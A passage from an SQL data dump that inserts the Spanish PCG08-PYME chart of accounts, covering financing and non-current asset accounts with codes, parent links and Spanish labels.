17:28:16','PCG08-PYME','FINANCIACION','121',4036,'Resultados negativos de ejercicios anteriores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4039,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','129',4036,'Resultado del ejercicio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4040,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','13',4001,'Subvenciones, donaciones y ajustes por cambio de valor',NULL,0,NULL,NULL,1,0,NULL,NULL),(4041,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','130',4040,'Subvenciones oficiales de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4042,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','131',4040,'Donaciones y legados de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4043,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','132',4040,'Otras subvenciones, donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4044,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','133',4040,'Ajustes por valoración en activos financieros disponibles para la venta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4045,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','134',4040,'Operaciones de cobertura',NULL,0,NULL,NULL,1,0,NULL,NULL),(4046,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1340',4045,'Cobertura de flujos de efectivo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4047,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1341',4045,'Cobertura de una inversión neta en un negocio extranjero',NULL,0,NULL,NULL,1,0,NULL,NULL),(4048,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','135',4040,'Diferencias de conversión',NULL,0,NULL,NULL,1,0,NULL,NULL),(4049,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','136',4040,'Ajustes por valoración en activos no corrientes y grupos enajenables de elementos mantenidos para la venta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4050,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','137',4040,'Ingresos fiscales a distribuir en varios ejercicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4051,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1370',4050,'Ingresos fiscales por diferencias permanentes a distribuir en varios ejercicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4052,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1371',4050,'Ingresos fiscales por deducciones y bonificaciones a distribuir en varios ejercicios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4053,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','14',4001,'Provisiones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4054,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','141',4053,'Provisión para impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4055,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','142',4053,'Provisión para otras responsabilidades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4056,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','143',4053,'Provisión por desmantelamiento, retiro o rehabilitación del inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4057,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','145',4053,'Provisión para actuaciones medioambientales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4058,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','15',4001,'Deudas a largo plazo con características especiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4059,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','150',4058,'Acciones o participaciones a largo plazo consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4060,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','153',4058,'Desembolsos no exigidos por acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4061,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1533',4060,'Desembolsos no exigidos empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4062,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1534',4060,'Desembolsos no exigidos empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4063,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1535',4060,'Desembolsos no exigidos otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4064,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1536',4060,'Otros desembolsos no exigidos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4065,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','154',4058,'Aportaciones no dinerarias pendientes por acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4066,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1543',4065,'Aportaciones no dinerarias pendientes empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4067,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1544',4065,'Aportaciones no dinerarias pendientes empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4068,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1545',4065,'Aportaciones no dinerarias pendientes otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4069,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1546',4065,'Otras aportaciones no dinerarias pendientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4070,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','16',4001,'Deudas a largo plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4071,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','160',4070,'Deudas a largo plazo con entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4072,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1603',4071,'Deudas a largo plazo con entidades de crédito empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4073,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1604',4071,'Deudas a largo plazo con entidades de crédito empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4074,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1605',4071,'Deudas a largo plazo con otras entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4075,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','161',4070,'Proveedores de inmovilizado a largo plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4076,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1613',4075,'Proveedores de inmovilizado a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4077,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1614',4075,'Proveedores de inmovilizado a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4078,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1615',4075,'Proveedores de inmovilizado a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4079,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','162',4070,'Acreedores por arrendamiento financiero a largo plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4080,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1623',4079,'Acreedores por arrendamiento financiero a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4081,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1624',4080,'Acreedores por arrendamiento financiero a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4082,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1625',4080,'Acreedores por arrendamiento financiero a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4083,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','163',4070,'Otras deudas a largo plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4084,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1633',4083,'Otras deudas a largo plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4085,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1634',4083,'Otras deudas a largo plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4086,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1635',4083,'Otras deudas a largo plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4087,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','17',4001,'Deudas a largo plazo por préstamos recibidos empresitos y otros conceptos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4088,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','170',4087,'Deudas a largo plazo con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4089,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','171',4087,'Deudas a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4090,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','172',4087,'Deudas a largo plazo transformables en suvbenciones donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4091,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','173',4087,'Proveedores de inmovilizado a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4092,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','174',4087,'Acreedores por arrendamiento financiero a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4093,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','175',4087,'Efectos a pagar a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4094,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','176',4087,'Pasivos por derivados financieros a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4095,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','177',4087,'Obligaciones y bonos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4096,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','179',4087,'Deudas representadas en otros valores negociables',NULL,0,NULL,NULL,1,0,NULL,NULL),(4097,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','18',4001,'Pasivos por fianzas garantias y otros conceptos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4098,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','180',4097,'Fianzas recibidas a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4099,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','181',4097,'Anticipos recibidos por ventas o prestaciones de servicios a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4100,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','185',4097,'Depositos recibidos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4101,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','19',4001,'Situaciones transitorias de financiación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4102,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','190',4101,'Acciones o participaciones emitidas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4103,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','192',4101,'Suscriptores de acciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4104,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','194',4101,'Capital emitido pendiente de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4105,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','195',4101,'Acciones o participaciones emitidas consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4106,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','197',4101,'Suscriptores de acciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4107,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','199',4101,'Acciones o participaciones emitidas consideradas como pasivos financieros pendientes de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4108,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','20',4002,'Inmovilizaciones intangibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4109,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','200',4108,'Investigación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4110,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','201',4108,'Desarrollo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4111,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','202',4108,'Concesiones administrativas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4112,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','203',4108,'Propiedad industrial',NULL,0,NULL,NULL,1,0,NULL,NULL),(4113,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','205',4108,'Derechos de transpaso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4114,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','206',4108,'Aplicaciones informáticas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4115,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','209',4108,'Anticipos para inmovilizaciones intangibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(4116,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','21',4002,'Inmovilizaciones materiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4117,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','210',4116,'Terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4118,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','211',4116,'Construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4119,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','212',4116,'Instalaciones técnicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4120,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','213',4116,'Maquinaria',NULL,0,NULL,NULL,1,0,NULL,NULL),(4121,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','214',4116,'Utillaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4122,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','215',4116,'Otras instalaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4123,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','216',4116,'Mobiliario',NULL,0,NULL,NULL,1,0,NULL,NULL),(4124,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','217',4116,'Equipos para procesos de información',NULL,0,NULL,NULL,1,0,NULL,NULL),(4125,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','218',4116,'Elementos de transporte',NULL,0,NULL,NULL,1,0,NULL,NULL),(4126,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','219',4116,'Otro inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4127,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','22',4002,'Inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4128,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','220',4127,'Inversiones en terreons y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4129,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','221',4127,'Inversiones en construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4130,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','23',4002,'Inmovilizaciones materiales en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4131,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','230',4130,'Adaptación de terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4132,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','231',4130,'Construcciones en curso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4133,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','232',4130,'Instalaciones técnicas en montaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4134,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','233',4130,'Maquinaria en montaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4135,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','237',4130,'Equipos para procesos de información en montaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4136,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','239',4130,'Anticipos para inmovilizaciones materiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4137,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','24',4002,'Inversiones financieras a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4138,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','240',4137,'Participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4139,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2403',4138,'Participaciones a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4140,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2404',4138,'Participaciones a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4141,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2405',4138,'Participaciones a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4142,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','241',4137,'Valores representativos de deuda a largo plazo de partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4143,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2413',4142,'Valores representativos de deuda a largo plazo de empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4144,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2414',4142,'Valores representativos de deuda a largo plazo de empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4145,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2415',4142,'Valores representativos de deuda a largo plazo de otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4146,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','242',4137,'Créditos a largo plazo a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4147,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2423',4146,'Créditos a largo plazo a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4148,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2424',4146,'Créditos a largo plazo a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4149,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2425',4146,'Créditos a largo plazo a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4150,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','249',4137,'Desembolsos pendientes sobre participaciones a largo plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4151,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2493',4150,'Desembolsos pendientes sobre participaciones a largo plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4152,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2494',4150,'Desembolsos pendientes sobre participaciones a largo plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4153,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2495',4150,'Desembolsos pendientes sobre participaciones a largo plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4154,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','25',4002,'Otras inversiones financieras a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4155,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','250',4154,'Inversiones financieras a largo plazo en instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4156,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','251',4154,'Valores representativos de deuda a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4157,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','252',4154,'Créditos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4158,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','253',4154,'Créditos a largo plazo por enajenación de inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4159,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','254',4154,'Créditos a largo plazo al personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4160,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','255',4154,'Activos por derivados financieros a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4161,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','258',4154,'Imposiciones a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4162,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','259',4154,'Desembolsos pendientes sobre participaciones en el patrimonio neto a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4163,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','26',4002,'Fianzas y depósitos constituidos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4164,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','260',4163,'Fianzas constituidas a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4165,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','261',4163,'Depósitos constituidos a largo plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4166,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','28',4002,'Amortización acumulada del inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4167,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','280',4166,'Amortización acumulado del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4168,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2800',4167,'Amortización acumulada de investigación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4169,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2801',4167,'Amortización acumulada de desarrollo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4170,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2802',4167,'Amortización acumulada de concesiones administrativas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4171,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2803',4167,'Amortización acumulada de propiedad industrial',NULL,0,NULL,NULL,1,0,NULL,NULL),(4172,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2805',4167,'Amortización acumulada de derechos de transpaso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4173,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2806',4167,'Amortización acumulada de aplicaciones informáticas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4174,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','281',4166,'Amortización acumulado del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4175,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2811',4174,'Amortización acumulada de construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4176,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2812',4174,'Amortización acumulada de instalaciones técnicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4177,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2813',4174,'Amortización acumulada de maquinaria',NULL,0,NULL,NULL,1,0,NULL,NULL),(4178,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2814',4174,'Amortización acumulada de utillaje',NULL,0,NULL,NULL,1,0,NULL,NULL),(4179,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2815',4174,'Amortización acumulada de otras instalaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4180,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2816',4174,'Amortización acumulada de mobiliario',NULL,0,NULL,NULL,1,0,NULL,NULL),(4181,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2817',4174,'Amortización acumulada de equipos para proceso de información',NULL,0,NULL,NULL,1,0,NULL,NULL),(4182,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2818',4174,'Amortización acumulada de elementos de transporte',NULL,0,NULL,NULL,1,0,NULL,NULL),(4183,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2819',4175,'Amortización acumulada de otro inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4184,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','282',4166,'Amortización acumulada de las inversiones inmobiliarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4185,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','29',4002,'Deterioro de valor de activos no corrientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4186,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','290',4185,'Deterioro de valor del inmovilizado intangible',NULL,0,NULL,NULL,1,0,NULL,NULL),(4187,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2900',4186,'Deterioro de valor de investigación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4188,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2901',4186,'Deterioro de valor de desarrollo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4189,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2902',4186,'Deterioro de valor de concesiones administrativas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4190,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2903',4186,'Deterioro de valor de propiedad industrial',NULL,0,NULL,NULL,1,0,NULL,NULL),(4191,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2905',4186,'Deterioro de valor de derechos de transpaso',NULL,0,NULL,NULL,1,0,NULL,NULL),(4192,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2906',4186,'Deterioro de valor de aplicaciones informáticas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4193,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','291',4185,'Deterioro de valor del inmovilizado material',NULL,0,NULL,NULL,1,0,NULL,NULL),(4194,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2910',4193,'Deterioro de valor de terrenos y bienes naturales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4195,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2911',4193,'Deterioro de valor de construcciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4196,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2912',4193,'Deterioro de valor de instalaciones técnicas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4197,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2913',4193,'Deterioro de valor de maquinaria',NULL,0,NULL,NULL,1,0,NULL,NULL),(4198,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2914',4193,'Deterioro de valor de utillajes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4199,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2915',4194,'Deterioro de valor de otras instalaciones',NULL,0,NULL,NULL,1,0,NULL,NULL),(4200,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2916',4194,'Deterioro de valor de mobiliario',NULL,0,NULL,NULL,1,0,NULL,NULL),(4201,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','ACTIVO','2917',4194,'Deterioro de valor de equipos para proceso de 